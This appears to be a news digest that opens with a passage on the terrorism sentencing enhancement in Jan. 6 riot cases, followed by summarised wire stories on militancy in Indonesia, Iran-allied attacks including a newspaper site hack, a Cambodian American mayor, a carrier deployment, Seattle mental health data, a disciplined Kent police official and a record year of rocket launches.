“Obviously, the terrorism enhancement is going to be a big issue,” said Cogan, an appointee of President George W. Bush. “I have no idea where I’m coming out on that at this point.”

Does the terror enhancement give prosecutors too much power?

Some critics contend the language about what constitutes terrorism is far too vague.

“It’s very arbitrary in how and when the government wants to apply this enhancement,” said Michael German, a former FBI agent and a fellow at the Brennan Center for Justice at New York University.

“Part of the problem with using a politically charged word like terror in our legal statutes is it is politicizing these determinations,” he said. “Law enforcement is always going to view protests against government policy as inherently dangerous. If somebody broke a window, they should be charged with breaking a window. If they had some political purpose for that, that shouldn’t be part of the decision.”

A former federal defender said the Justice Department might be more reluctant to seek the terrorism enhancement — and the harsh sentences it can bring — in the Jan. 6 cases because of a potential political backlash.

“A significant part of the population that has political clout may make noise and say that’s singling people out,” said Wadie Said, a University of South Carolina law professor. “We want to think that it operates in a vacuum, but of course it doesn’t.”

A spokesperson for the U.S. Attorney’s Office in Washington, which is overseeing the Capitol riot cases, declined to comment on prosecutors’ decisions in the Jan. 6 cases. However, an official confirmed that the sentencing enhancement for terrorism had not been pursued in any case thus far.

In court filings, prosecutors have been exceedingly vague about their decisions not to seek terrorism-level punishment in the handful of Jan. 6 felony cases that have gone to sentencing. Sentencing memorandums filed by prosecutors in at least five such cases use the same boilerplate language, stating that the government is not pursuing the enhancement “based on the facts and circumstances of” the case.

Attorney General Merrick Garland has also declined to get into detail about how prosecutors are handling Jan. 6 cases, but said recently that he knows some view the cases as overkill while others contend the Justice Department is being too lenient.

“I am quite aware that there are people who are criticizing us for not prosecuting sufficiently and others who are complaining that we are prosecuting too harshly,” Garland said in an October interview for the annual New Yorker festival. “This is, you know, part of the territory for any prosecutor in any case. I have great confidence in the prosecutors who are doing these cases.”

Of course, the ultimate sentences in the Jan. 6 cases and almost all others are determined by judges, not prosecutors.

While the sentencing guidelines were originally mandatory, as a result of a 2005 Supreme Court decision, they’re now nonbinding. Judges have to calculate them precisely in proceedings that often take up much of a sentencing hearing. While judges are permitted to sentence outside the range, the punishment the guidelines propose carries enormous sway. Judges sometimes do sentence below the range, but often seem reluctant to give a sentence far less than what the guidelines recommend.

“They have a significant gravitational force, even though they’re advisory,” said Berman, the Ohio State professor. “The reality is that’s become our metric.”

In addition, the people sentenced so far are not a representative sample of the more than 700 defendants facing charges in connection with the events of Jan. 6. All the sentences have stemmed from guilty pleas, with the first Capitol riot trial not expected until next month at the earliest.

The vast majority of the roughly 70 riot defendants sentenced thus far pleaded guilty to misdemeanor offenses to which the sentencing guidelines don’t apply at all. A handful have gotten probation, while others received sentences of 30 or 60 days behind bars.

The most serious sentence handed down thus far is the five-year-three-month prison term for Florida resident Robert Palmer, who admitted to battling with police at the Capitol by swinging a pole and throwing both a fire extinguisher and a wooden plank.

Although the plea agreement in Palmer’s case said prosecutors reserved the right to seek the terrorism enhancement, they did not mention the enhancement at his sentencing last month, nor did the judge raise it.

When another Florida man, Paul Hodgkins, was sentenced in July to eight months in prison for storming onto the Senate floor on Jan. 6 carrying a Trump flag, prosecutors minced no words about his actions.

“Jan. 6 was an act of domestic terrorism,” Assistant U.S. Attorney Mona Sedky said. “He was part and parcel of an act of domestic terrorism that was going on around him.”

Hodgkins’ defense attorney at the time, Patrick Leduc, warned against the use of such terms. “If we’re going to label this protest as domestic terrorism, then please consider this: Where do we draw that line?” he asked.

Despite Sedky’s strong words, prosecutors did not seek the sentencing enhancement for Hodgkins, the defense didn’t raise it and neither did the judge.

That’s likely because the assault and obstruction charges the defendants admitted to in those cases aren’t on the list of terrorism crimes Congress has identified.

However, the terrorism enhancement provision is so expansive that it may cover even convictions on charges that are not on that already-long rundown of offenses.

Christopher Hasson, a Coast Guard officer and self-described white nationalist who lived in Silver Spring, Md., was arrested in 2019 after allegedly plotting to kill prominent Democratic politicians and media figures. He pleaded guilty later that year to a series of firearms and drug charges.

None of those charges are on the list of federal terrorism offenses, but U.S. District Court Judge George Hazel sentenced Hasson to more than 13 years in prison after applying the terrorism sentencing enhancement. Prosecutors argued for the enhancement (and a 25-year sentence), contending that the silencers and rifle scopes Hasson possessed were “intended to promote” a plot to kill members of Congress and two Supreme Court justices even though Hasson never pleaded guilty to such a plot.

Hasson is appealing his sentence to the Fourth U.S. Circuit Court of Appeals, noting that a congressional conference report on an antiterrorism law passed in 1996 described the enhancement as limited to “specifically listed” crimes of terrorism. The appeal was argued in March and the Richmond-based court has yet to rule.

Such ambiguities mean defense attorneys considering whether their clients should plead guilty in the Capitol riot have to also factor in the possibility that a judge could conclude that the terrorism guidelines apply even in a case where prosecutors don't seek it.

Last month, at sentencing for a QAnon follower who admitted to weapons charges and threatening to kill Speaker Nancy Pelosi, prosecutors told U.S. District Court Judge Amy Berman Jackson that they initially believed sentencing guidelines called for an 18- to 24-month prison term for the defendant, Cleveland Meredith Jr.

However, Jackson calculated the range at 37 to 46 months. No one raised the terrorism enhancement, but the judge concluded that the sentencing rules called for a different sentence for cases involving a person targeted because of their official duties.

"The fact that the government didn't point to this before is odd," said Jackson, an appointee of President Barack Obama. Meredith's lawyer complained bitterly about the decision and warned that it would "reverberate."

The case shook out in the way experts say they often do, with the guidelines appearing to drive up the sentence even when judges conclude they're a bit too harsh to adhere to.

Ultimately, Jackson gave Meredith a 28-month prison term, below the guidelines, but above what prosecutors and the defense initially asked for.

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HEADLINE	<b>01/04 Indonesia: militant in beheadings killed</b>
SOURCE	<a href="https://www.seattletimes.com/nation-world/suspected-militant-accused-of-beheadings-killed-in-indonesia/">https://www.seattletimes.com/nation-world/suspected-militant-accused-of-beheadings-killed-in-indonesia/</a>
GIST	<p>PALU, Indonesia (AP) — Indonesian security forces killed a suspected militant accused of beheadings in a shootout Tuesday in a sweeping counterterrorism campaign against extremists in remote mountain jungles, police said.</p> <p>Provincial police chief Rudy Sufahriadi said Ahmad Gazali, 27, also known as Ahmad Panjang, a key member of the East Indonesia Mujahideen network, was fatally shot by a joint team of military and police officers near Uempasa hamlet in Central Sulawesi province's mountainous Parigi Moutong district. It borders Poso district, an extremist hotbed in the province.</p> <p>The East Indonesia Mujahideen has claimed responsibility for the killings of police officers and minority Christians, some by beheading. It has pledged allegiance to the Islamic State group. Police have said Gazali conducted several of the group's executions, including the beheadings of four Christian farmers last May.</p> <p>The joint team was patrolling the area when it came upon two militants in a camp, Sufahriadi said at a news conference. He said the second militant escaped into the jungle.</p> <p>Tuesday's shootout occurred four months after security forces killed two militants in another jungle shootout, including Ali Kalora, the group's leader, who was one of the country's most wanted militants.</p> <p>"We are still searching for three remaining suspected members of the group," Sufahriadi said, "We urge them to immediately surrender or we'll continue hunting them down."</p> <p>Indonesia, the world's most populous Muslim-majority nation, has conducted a crackdown on militants since bombings on the resort island of Bali in 2002 killed 202 people, mostly Western and Asian tourists.</p> <p>Militant attacks on foreigners in Indonesia have been largely replaced in recent years by smaller, less deadly strikes targeting the government, mainly police and anti-terrorism forces, and people militants consider to be infidels, inspired by Islamic State group tactics abroad.</p>

HEADLINE	<b>01/03 Attacks illustrate reach of Iran-allied militias</b>
SOURCE	<a href="https://apnews.com/article/middle-east-iran-jerusalem-israel-media-01bcc885cb5e064af64656e81c33ef89">https://apnews.com/article/middle-east-iran-jerusalem-israel-media-01bcc885cb5e064af64656e81c33ef89</a>
GIST	<p>DUBAI, United Arab Emirates (AP) — Yemen’s Houthi rebels seized a ship in the Red Sea, armed drones targeted Baghdad’s international airport, and hackers hit a major Israeli newspaper Monday — a string of assaults that showed the reach of Iran-allied militias on the second anniversary of America’s killing of a top Iranian general.</p> <p>All three coincided with a massive memorial in Tehran for Qassem Soleimani, the general killed by a U.S. drone strike in 2020 in Iraq. Iran’s hard-line President Ebrahim Raisi demanded former U.S. President Donald Trump be “prosecuted and killed.”</p> <p>“If not, I’m telling all American leaders, don’t doubt that the hand of revenge will come out of the sleeves of ummah,” Raisi said, referring to the worldwide community of Muslims.</p> <p>Monday’s events highlight tensions in the Middle East, which has been roiled by Trump’s 2018 decision to unilaterally withdraw America from a deal aimed at limiting Tehran’s nuclear program. As talks continue in Vienna to try to resuscitate the accord, Iran remains able to apply pressure from outside of the negotiations even as it is squeezed by sanctions and a shadow war with Israel.</p> <p>The taking of the Emirati ship Rwabee marks the latest assault in the Red Sea, a crucial route for international trade and energy shipments. The Iranian-backed Houthis acknowledged the seizure off the coast of Hodeida, a long-contested prize of the grinding war in Yemen between the rebels and a Saudi-led coalition that includes the United Arab Emirates.</p> <p>First word of the Rwabee’s seizure came from the British military’s United Kingdom Maritime Trade Operations, which only said an attack targeted an unnamed vessel around midnight. The coordinates it offered corresponded to the Rwabee, which has rarely given its location via tracking data in recent months unlike most commercial traffic in the region, according to the website MarineTraffic.com.</p> <p>A statement from the Saudi-led coalition, carried by state media in the kingdom, acknowledged the attack hours later, saying the Houthis had committed an act of “armed piracy” involving the vessel. The coalition asserted the ship carried medical equipment from a dismantled Saudi field hospital in the distant island of Socotra, without offering evidence.</p> <p>“The militia must promptly release the ship or the coalition forces will undertake all necessary measures and procedures to handle this violation, including the use of force if necessary,” Brig. Gen. Turki al-Malki said in a statement.</p> <p>The Houthis later aired footage from the Rwabee on their Al-Masirah satellite news channel. It showed military-style inflatable rafts, trucks and other vehicles on the vessel, a landing craft that lowers a ramp to allow equipment to roll on and off. One brief clip showed what appeared to be a collection of rifles inside a container.</p> <p>“It is completely obvious today that the information that this ship was carrying a civilian field hospital is not correct,” said Yahia Sarei, a Houthi military spokesman. “This is clearly military equipment.”</p> <p>Saudi state television alleged the Houthis transferred the weapons onto the ship.</p> <p>An employee at the vessel’s owners, Abu Dhabi-based Liwa Marine Services, told The Associated Press in a telephone call that the Rwabee appeared to have been the target but said they had no other information. The employee declined to comment further and hung up before giving their name.</p> <p>A similar assault happened in 2016 involving the Emirati vessel SWIFT-1, which had been sailing back and forth in the Red Sea between an Emirati troop base in Eritrea and Yemen. The vessel came under</p>

attack by Houthi forces in 2016. The Emirati government asserted the SWIFT-1 had carried humanitarian aid; U.N. experts later said of the claim that they were “unconvinced of its veracity.”

No group immediately claimed responsibility for the hacking of the Jerusalem Post’s website. The hackers replaced the Post’s homepage with an image depicting a missile coming from a fist bearing a ring long associated with Soleimani.

The image also depicted an exploding target used during a recent Iranian military drill that was designed to look like the Shimon Peres Negev Nuclear Research Center near the Israeli city of Dimona. The facility is home to decades-old underground laboratories that reprocess spent rods from a nuclear reactor to obtain weapons-grade plutonium for Israel’s nuclear bomb program.

Under its policy of nuclear ambiguity, Israel neither confirms nor denies having atomic weapons.

In a tweet, the Post acknowledged being the target of hackers.

“We are aware of the apparent hacking of our website, alongside a direct threat to Israel,” the English-language newspaper wrote.

The newspaper later restored its site. It noted Iran-supporting hackers previously targeted its homepage in 2020.

The hack came after Israel’s former military intelligence chief in late December publicly acknowledged his country was involved in Soleimani’s killing. The U.S. drone killed the general as he was leaving Baghdad’s international airport.

In Iraq on Monday, troops shot down two so-called “suicide drones” at that same airport, American and Iraqi officials said. No group immediately claimed the attack, though one of the drones’ wings had the words “Soleimani’s revenge” painted on it in Arabic. Militias backed by Iran have been suspected in similar assaults. No injuries or damage were reported.

As the head of the elite Quds, or Jerusalem, Force of the Revolutionary Guard, Soleimani led all of its expeditionary forces and frequently shuttled among Iraq, Lebanon and Syria. Quds Force members have deployed in Syria to support President Bashar Assad in that country’s long war, as well as in Iraq in the wake of the 2003 U.S.-led invasion that toppled dictator Saddam Hussein, a longtime foe of Tehran.

Soleimani rose to prominence by advising forces fighting the Islamic State group in Iraq and in Syria on behalf of the embattled Assad.

U.S. officials say the Guard under Soleimani taught Iraqi militants how to manufacture and use especially deadly roadside bombs against U.S. troops. Iran has denied that.

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## Suspicious, Unusual

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HEADLINE	01/04 First Cambodian American mayor in US
SOURCE	<a href="https://apnews.com/article/immigration-boston-united-states-asia-massachusetts-617f14d8429582fc21e19449db7dc5ef">https://apnews.com/article/immigration-boston-united-states-asia-massachusetts-617f14d8429582fc21e19449db7dc5ef</a>
GIST	<p>BOSTON (AP) — A refugee who survived the Khmer Rouge’s brutal rule has become the first Cambodian American mayor in the United States.</p> <p>Sokhary Chau, a city councilor in Lowell, Massachusetts, was unanimously picked by his council peers to assume the legislative body’s top post on Monday. He also became the city’s first Asian American mayor.</p>



“God bless America, right? I was a refugee, now I’m mayor of a major city in Massachusetts,” the 49-year-old, who works for the U.S. Social Security Administration, said after being officially sworn in. “I don’t know if that could happen anywhere else in the world. I’m still trying to absorb it.”

Chau, in his inaugural remarks, reflected on his family’s perilous escape from Cambodia and the former industrial city of Lowell’s deep immigrant roots.

Located on the Merrimack River near the New Hampshire state line, Lowell was an early center of America’s textile industry, drawing waves of European and Latin American immigrants over generations.

Today, the city of more than 115,000 residents is nearly 25% Asian and home to the nation’s second-largest Cambodian community.

“As a proud Cambodian American, I am standing on the shoulders of many immigrants who came before me to build this city,” Chau said Monday before a crowd that included his wife and two teenage sons.

Chau recounted how his father, a captain in the Cambodian army, was executed by the communist Khmer Rouge in 1975 during the country’s civil war.

He said his mother, who died last year, managed to keep her seven children alive for four years, surviving “landmines, jungles, hunger, sickness and uncertainty” to deliver them safely to the U.S.

Chau said America may not have “streets paved with gold” as his family imagined while living in refugee camps, but it’s a land where democracy is possible because of “systems of checks and balances” and principles like fairness, equality and transparency.

In an interview later, Chau said he was around 9 years old when his family initially settled in Pittsburgh, Pennsylvania, with the help of the Catholic Church — an experience that prompted the family to convert to Christianity.

They made their way to Lowell’s growing Cambodian community in the mid-1980s, where some of his older siblings immediately set to work in local factories.

Chau, however, continued his studies and eventually earned a scholarship to Phillips Academy, a exclusive boarding school in nearby Andover. He went on to Macalester College in St. Paul, Minnesota, where he studied economics and political science, also on a scholarship.

Before running for office, Chau said he worked mostly in financial services, including running a mortgage lending company in Lowell with his wife before the housing market crashed in the early 2000s.

Chau’s election follows the ascendance of new Boston Mayor Michelle Wu, whose parents immigrated to the U.S. from Taiwan. She was sworn in last November as Boston’s first woman and first person of color elected to the post.

Chau is also among the growing list of Cambodian American officeholders in Massachusetts: at least two other city councilors, a school committee member and two state lawmakers, all from Lowell, according to Vannak Theng, president of the Cambodian Mutual Assistance Association of Greater Lowell.

But while Cambodian Americans served on local boards and state legislatures nationwide, none were elected mayor, according to the Asian Pacific American Institute for Congressional Studies, a Washington nonprofit that helps Asian Pacific Americans pursue public office and maintains a listing of current officeholders.

In fact, Long Beach, California, home to the nation’s largest Cambodian community, only elected its first Cambodian American city councilor in 2020, the organization noted.

	<p>Chau’s election also comes on the heels of a federal court lawsuit that argued Lowell’s election process violated the voting rights of minority residents, who comprise nearly 50% of its population.</p> <p>A recent settlement in the case prompted the city to change its election process, starting with the 2021 elections. The result was the city’s most diverse class of officeholders, said Oren Sellstrom, litigation director at Lawyers for Civil Rights, a Boston group that brought the 2017 suit.</p> <p>“Just four years ago, the city’s elected officials were all white and largely unresponsive to the needs of the city’s communities of color,” Sellstrom said. “This historic change in the city’s power structure would never have been possible under the old electoral system.”</p> <p>To be sure, the mayoral office in Lowell is largely ceremonial.</p> <p>The city, about 30 miles (50 kilometers) north of Boston, is run by a city manager picked by the council. The mayor is effectively the council president, leading its meetings and also serving as chair of the city’s school committee.</p> <p>Still, Chau acknowledged his election’s significance to the wider Cambodian diaspora, calling on others to step up in their communities.</p> <p>“We can no longer be just victims,” he said as he closed his inaugural remarks. “It is our time now to be leaders and to succeed.”</p>
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<b>HEADLINE</b>	<b>01/03 Female captain Abraham Lincoln carrier</b>
<b>SOURCE</b>	<a href="https://www.sandiegouniontribune.com/news/military/story/2022-01-03/abraham-lincoln-strike-group-deploys">https://www.sandiegouniontribune.com/news/military/story/2022-01-03/abraham-lincoln-strike-group-deploys</a>
<b>GIST</b>	<p>CORONADO — A nuclear-powered aircraft carrier is steaming toward the western Pacific on a routine deployment and, for the first time ever, it’s doing so with a female captain in charge.</p> <p>For the nuclear-powered aircraft carrier Abraham Lincoln, which left its berth at Naval Air Station North Island Monday morning, the deployment marks the culmination of nine months of training and work-ups. It’s also the first carrier deployment for a Marine Corps F-35C fighter squadron.</p> <p>The carrier’s deployment to the region comes amid rising hostile rhetoric between China and Taiwan. Rear Adm. Jeffrey Anderson, the Lincoln carrier strike group commander, didn’t comment specifically on the matter during a news conference Monday but said the strike group is ready to accomplish its mission, whatever that might be.</p> <p>“We’re trained and certified for global deployment,” said Rear Adm. Jeffrey Anderson, the carrier strike group commander. “Our mission is to provide combat capability and ready naval forces so that we can work alongside our allies and partners to be able to deter aggression and also counter malign influence.”</p> <p>Capt. Amy Bauernschmidt, the commanding officer of the Lincoln, said her crew performed exceptionally during deployment work-ups and that she was humbled to be entrusted with their safety.</p> <p>“This is an amazing day,” she said. “They are going to do exceptional work out there, and I just can’t wait to watch them succeed.”</p> <p>Five sailors were killed during those work-ups in September when their helicopter crashed into the carrier’s flight deck and tumbled into the sea. Bauernschmidt, who came up through the ranks flying helicopters, had only been in command for 12 days when the crash occurred. She offered condolences to the families of those killed and talked about the effect the crash had on the crew.</p> <p>“It is always a tough experience and no one is prepared for something like that — everyone deals with it in their own way,” she said. “It was a tough day that none of us will ever forget.”</p>

	<p>The investigation into the crash is ongoing, Anderson said. He declined to comment on possible causes. A preliminary report said the helicopter experienced side-to-side vibrations while on the flight deck before the crash.</p> <p>The ship's departure also coincides with soaring coronavirus case numbers. However, unlike previous carrier deployments, the crew of the Lincoln, its air wing and the crews of other ships in the battle group are 100 percent vaccinated, Anderson said. The crew did not have to quarantine ahead of the ship's departure, and, as the strike group deploys, they leave with known positive cases among them.</p> <p>"We do have some positive cases within the strike group," Anderson said. "But ... we're extremely confident that we can safely and effectively execute our mission."</p> <p>All active-duty sailors and Marines were required to be fully vaccinated by the end of November. Marines who refused the vaccine are already being booted from the Corps, and the Navy is preparing to do the same with its noncompliant sailors.</p> <p>Marine Fighter Attack Squadron 314 becomes the first Marine F-35C squadron to deploy on an aircraft carrier. The Marine Corps Air Station Miramar-based squadron is only the second F-35C squadron to do so — Navy Fighter Attack Squadron 147 deployed on the San Diego-based carrier Carl Vinson in August.</p>
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HEADLINE	<b>01/03 Most medicated metro for mental health</b>
SOURCE	<a href="https://www.seattletimes.com/seattle-news/data/seattle-ranks-as-most-medicated-metro-for-mental-health-reasons/">https://www.seattletimes.com/seattle-news/data/seattle-ranks-as-most-medicated-metro-for-mental-health-reasons/</a>
GIST	<p>Even in a normal year, a lot of people feel down around this time. The holiday season can be a trigger for anxiety and depression for some. And for those of us who live in the Seattle area, the unrelenting gray skies that are typical don't help matters.</p> <p>Of course, 2021 hasn't been a normal year. The pandemic is still raging, fueled by the highly contagious omicron variant of the coronavirus.</p> <p>Whatever the reasons, Seattle ranks as the most medicated major metro area for mental health conditions, according to a new survey from the U.S. Census Bureau. It shows that more than 1 in 5 adults in the Seattle area have taken prescription medication to help with emotions, or with concentration, behavior or mental health, in the past four weeks. The survey was conducted from Dec. 1-13.</p> <p>The survey includes data for the 15 largest metro areas in the U.S. — Seattle just makes the cut at No. 15. Among these major metros, Seattle had the highest percentage of adults taking medications for their mental health, at 21% (or about 660,000 Seattle-area adults).</p> <p>At the other end of the spectrum, only about 11% of adults in the Riverside-San Bernardino area in California were taking medications to treat mental health conditions.</p> <p>This data comes from the Household Pulse Survey, an experimental product of the U.S. Census Bureau. Unlike other census products, which have a long lag time, the Household Pulse Survey provides near real-time data.</p> <p>These statistics are intended to help inform officials and policymakers about the impacts of the pandemic on communities across the country. Because the pandemic has taken a toll on the mental health of many Americans, the survey includes a number of questions related to the topic.</p> <p>I've previously reported on this data because Seattle has also ranked No. 1 for the percentage of residents experiencing <a href="#">depression</a> and <a href="#">anxiety</a>.</p>

Even so, I was a little skeptical about the survey results about mental health medications at first. For one thing, as with all survey data, there is a certain amount of error built into it. On top of that, any survey related to people's mental health is bound to have some degree of variance. Many folks tend to go on and off prescription drugs that treat depression, anxiety and other mental health concerns.

Fortunately, the Household Pulse Survey is an ongoing program, so I was able to see if Seattle ranked consistently high for use of these medications over time. I checked each of the most recent surveys from the previous phase of questioning, which began on July 21 and ended on Oct. 11 — there were a total of six surveys in this period.

Interestingly, three metro areas have consistently ranked near the top for the percentage of adults taking prescription medications for mental health conditions: Seattle, Boston and Philadelphia.

Why these three? It may seem like a bit of head-scratcher at first glance, but it's very likely related in part to racial demographics.

The survey data shows white people are significantly more likely to use medications for mental health conditions than any of the other major racial/ethnic groups. Asian people are the least likely to use them. (This is true nationally, and in the Seattle area.)

In most of the major U.S. metros, white people are less than half of the total population. But in Seattle, Boston and Philadelphia, white people make up more than 60% of the total. That is most likely one factor in why these three areas have a higher use of these medications.

Similarly, the metros that are consistently toward the bottom of the pack for the use of these medications have a very high percentage of people of color. In Riverside-San Bernardino, Los Angeles and Miami, people of color make up at least two-thirds of the total metro population.

[Research](#) supports what the survey shows: White people are indeed more likely to use antidepressant medications than people of color. The [same is true](#) of drugs that treat attention deficit disorder. Part of the reason seems to be that doctors are more likely to diagnose white patients with mental health conditions, and to prescribe them these drugs. There are probably other factors involved, such as differing attitudes about mental health conditions among racial groups.

Similarly, women are more likely than men to take medications for mental health conditions. Part of the reason for this is that [women are more likely to seek help](#) from a health care professional for depression.

The Household Pulse survey shows that 29% of women in the Seattle metro take medications for mental health conditions, compared with just 13.5% of men.

The survey cross tabs show some other points of demographic variance in the use of these medications in Seattle. A higher percentage of people who are divorced, separated or widowed use these medications than married people. And people with lower household incomes tend to be more likely to use them than people with higher household incomes. These patterns can be seen nationally, as well.

And although the sample is quite small in Seattle, the data shows that LGBTQ+ people are significantly more likely to use mental health medications than those who do not identify as LGBTQ+. This same pattern is evident nationally.

The survey also asked respondents if they had received counseling or therapy from a mental health professional in the past four weeks. Seattle again ranked No. 1, even slightly higher than New York, where it's often joked that everyone is in therapy. In the Seattle metro, 12% of adults (or about 380,000 people) said they'd received counseling or therapy.

Another 14% of Seattle-area adults (about 430,000 people) said they needed professional counseling but did not get it (for any reason). Again, that was the highest percentage among the 15 major metros.

	It would be great if there was pre-pandemic data that we could use to establish a baseline level of use of these medications. But the Census Bureau only began this survey project in response to the pandemic, so we can't know if — or how much — the use of these medications has increased in Seattle.
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HEADLINE	<b>01/03 Kent PD assistant chief disciplined</b>
SOURCE	<a href="https://www.seattletimes.com/seattle-news/law-justice/kent-assistant-police-chief-disciplined-for-posting-nazi-insignia-and-joking-about-the-holocaust/">https://www.seattletimes.com/seattle-news/law-justice/kent-assistant-police-chief-disciplined-for-posting-nazi-insignia-and-joking-about-the-holocaust/</a>
GIST	<p>An assistant police chief in Kent has been disciplined for posting Nazi insignia on his office door, embracing the rank of an official in Adolf Hitler's dreaded paramilitary Schutzstaffel or SS — responsible for the murders of millions of Jews — and joking about the Holocaust.</p> <p>Assistant Chief Derek Kammerzell was given two weeks off without pay by Kent Police Chief Rafael Padilla in July after an internal investigation concluded that Kammerzell knew full well the meaning of the insignia he posted above the nameplate on his office door in September 2020 — that of an SS "obergruppenfuhrer," one of the senior-most ranks in the Third Reich. The insignia was taken down after four days when a detective in the investigations bureau, which Kammerzell commanded, filed a complaint.</p> <p>Kammerzell currently oversees the department's patrol division.</p> <p>The investigation, conducted by an attorney at the Seattle law firm of Stokes Lawrence, concluded that Kammerzell's claim that he didn't know the significance of the insignia and had heard about it after being referred to the television series "Man in the High Castle" — where one of the main characters holds that rank — was not believable.</p> <p>The series is an adaptation of Philip K. Dick's 1962 novel, which presents a dystopian alternate future in which Germany won World War II and occupied America, where the Nazis continue their efforts to round up and exterminate Jews.</p> <p>One of the key antagonists in the series, an American Nazi named John Smith, holds that rank, which is identifiable by a collar patch depicting an oak-leaf and two diamonds — the insignia Kammerzell posted on his door.</p> <p>Moreover, Kammerzell acknowledged during the investigation that he once shaved his facial hair into a "Hitler mustache" and repeatedly told a joke to the effect that his grandfather had died in the Holocaust — when he got drunk and fell out of a guard tower.</p> <p>He downplayed both incidents to investigators, stating the facial hair was part of "Movember," a beard-growing fundraising event held every November to spotlight men's health issues, and that the joke was 20 years old. The investigation found his explanations were convenient and less than credible.</p> <p>The Seattle Times obtained the investigative documents from a citizens group calling itself "No Secret Police," which obtained them through a public disclosure request.</p> <p>The investigation also references a photograph, taken during the city's Oktoberfest celebration in 2019, that appears to show Kammerzell, wearing lederhosen, giving the stiff-armed "heil Hitler" salute while standing behind Mayor Dana Ralph. Kammerzell explained that "someone may have taken a picture while they were waving."</p> <p>The investigation noted that Kammerzell "denied expressing any positive sentiments about either Nazis or fascist governments," and city officials, after reviewing the investigation, concluded a two-week suspension was adequate to address sustained findings of creating a hostile work environment and conduct unbecoming.</p>

In addition to the two weeks without pay — during which Kammerzell was allowed to take paid vacation to make up his salary — he was ordered to attend “cultural sensitivity training.”

However, Padilla did not sustain a violation of the department’s “truthfulness” policy, despite his obfuscation regarding his knowledge of the meaning of the insignia. A violation of that policy could have resulted in termination.

“I do not believe the investigation produced sufficient evidence that you were untruthful in asserting that you were not aware that the insignia you posted on your door was not used by non-Nazi German military forces,” Padilla wrote, adopting Kammerzell’s claim that he believed the insignia had also been used by post-WWII German NATO commanders.

“The fact is that you, an assistant chief, who must lead by example, posted a Nazi insignia on the door of your office,” Padilla wrote. “The insignia you posted is for a high-ranking official with the SS. To associated oneself with the SS, even negligently, is to associate oneself with the most despicable acts that human beings have perpetrated against each other, perhaps ever.”

Hitler’s SS and waffen-SS, the combat branch of the organization, were responsible for rounding up millions of Jews, LGBTQ+ people, Roma and other “undesirables” for immediate execution or transportation to the Third Reich’s brutal labor and death camps. The SS murdered more than six million European Jews. Aside from their rank insignia, SS officers also often wore “totenkopf” — skull and crossbones — pins on their black uniform collars.

The city of Kent, in a statement, said the investigation showed Kammerzell “exercised poor judgment in this situation despite an otherwise stellar 27-year career with the Police Department” and said he has apologized for his conduct.

“The City of Kent and Kent Police Department condemn racism in all its forms and are committed to investigate and, when necessary, impose appropriate discipline for every violation of our values and policies,” the city’s statement said. “The city took the allegations against Assistant Chief Kammerzell very seriously and stands by its independent investigation and discipline.”

A telephone message seeking comment left on Kammerzell’s line at the Kent Police Department on Monday was not returned. Kammerzell told The Kent Reporter in an email last week that he is “deeply embarrassed by this incident.”

“I wish I could take it back. I know now what that rank represents, and that is not what I value or who I am,” he said.

Kammerzell claimed that years ago someone in the department began to refer to him as the “German general” due to his Germanic heritage and he embraced the nickname, which “morphed” into “obergruppenfuhrer” after a retired colleague referred him to the television series, “Man in the High Castle.”

He claimed he did only cursory research to learn that the word translated to “senior group commander,” which he felt fit his position as head of the Investigations Division at the time.

However, the attorney who conducted the outside investigation for Kent, Krista Slosburg, said it “was not plausible” that after watching the series — all about Nazis — and searching the Internet as he claimed to have done that Kammerzell “would not understand the Nazi affiliation.”

News of the investigation and two-week suspension were met with shock and incredulity by officials at the Jewish Federation of Greater Seattle.

“This just seems totally unbelievable,” said Max Patashnik, the director of the federation’s Jewish Community Relations Council and government affairs. “This is incredibly troubling.”



	<p>“These kinds of actions and insensitivity form the basis of what leads to genocide,” she said. “The Jewish community relies on law enforcement for safety. I have to ask if people of Jewish descent wouldn’t feel uncomfortable knowing this.”</p> <p>Patashnik said she was concerned that the seemingly lenient punishment doesn’t send a strong enough message that antisemitism can be subtle and should not be tolerated any more than an overt hate crime.</p> <p>“Had this officer posted something that was overtly homophobic or racist, would he have been treated the same?” Patashnik asked. “There is an education component here that I think needs to be addressed.”</p>
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HEADLINE	<b>01/03 World record: most rockets sent into orbit</b>
SOURCE	<a href="https://arstechnica.com/science/2022/01/thanks-to-china-and-spacex-the-world-set-an-orbital-launch-record-in-2021/">https://arstechnica.com/science/2022/01/thanks-to-china-and-spacex-the-world-set-an-orbital-launch-record-in-2021/</a>
GIST	<p>More rockets made orbital launch attempts during 2021 than in any previous year in history, breaking a record that dates back to the space race.</p> <p>There are no <i>official</i> records of such matters, but several <a href="#">good online resources</a> provide a compendium of data that includes both orbital launch attempts and successes. Based on this information, a total of 144 orbital launches were attempted in 2021, of which 133 were successful. This total does not include two unannounced launch attempts by Iran's Simorgh vehicle.</p> <p>Last year's numbers surpass the total orbital launch attempts in 1967 (122 successes out of 139 launch attempts) and a previous record for successes in 1976 (125 successes out of 131 attempts).</p> <p>The busy year in 2021 caps a rocket renaissance. The total number of global launch attempts has doubled during the last decade. From 2000 to 2010, the government and commercial operators launched, on average, fewer than 70 orbital rockets a year.</p> <p>The two biggest changes since that time have been the dramatic rise of the Chinese state-led space industry and the explosion of activity by SpaceX, which launched its first Falcon 9 rocket in 2010. Smaller contributing factors include the rise of other new commercial companies, such as US-based Rocket Lab, which launched six times in 2021.</p> <p>Before 2010, China averaged fewer than 10 rocket launches a year. But over the last decade, the country has made significant expansions of its military space program, launching observation and communications satellites and embarking on an ambitious robotic lunar exploration program and launching a next-generation space station. The country also has a nascent commercial space industry. All told, the Chinese government and a handful of private operators launched 56 rockets in 2021, of which there were 53 successes.</p> <p>SpaceX also had a record-breaking year in 2021 as it continued to expand its Starlink Internet constellation. SpaceX launched 31 Falcon 9 rockets, all of which were successful. Perhaps more remarkably, the company accomplished this work using just two new Falcon 9 first stages—the remainder of the 29 launches were performed by previously flown Falcon 9 cores. Therefore, 2021 was when SpaceX demonstrated that "flight proven" was far more than just a marketing gimmick.</p> <p>The workhorse Falcon 9 rocket helped lead the United States to 51 orbital launches in 2021, of which 48 were successful. Rocket Lab, followed by United Launch Alliance, Astra, Northrop Grumman, Virgin Orbit, and others helped contributed to the overall total. Russia, Europe, and India rounded out the major players in global launch attempts last year.</p>

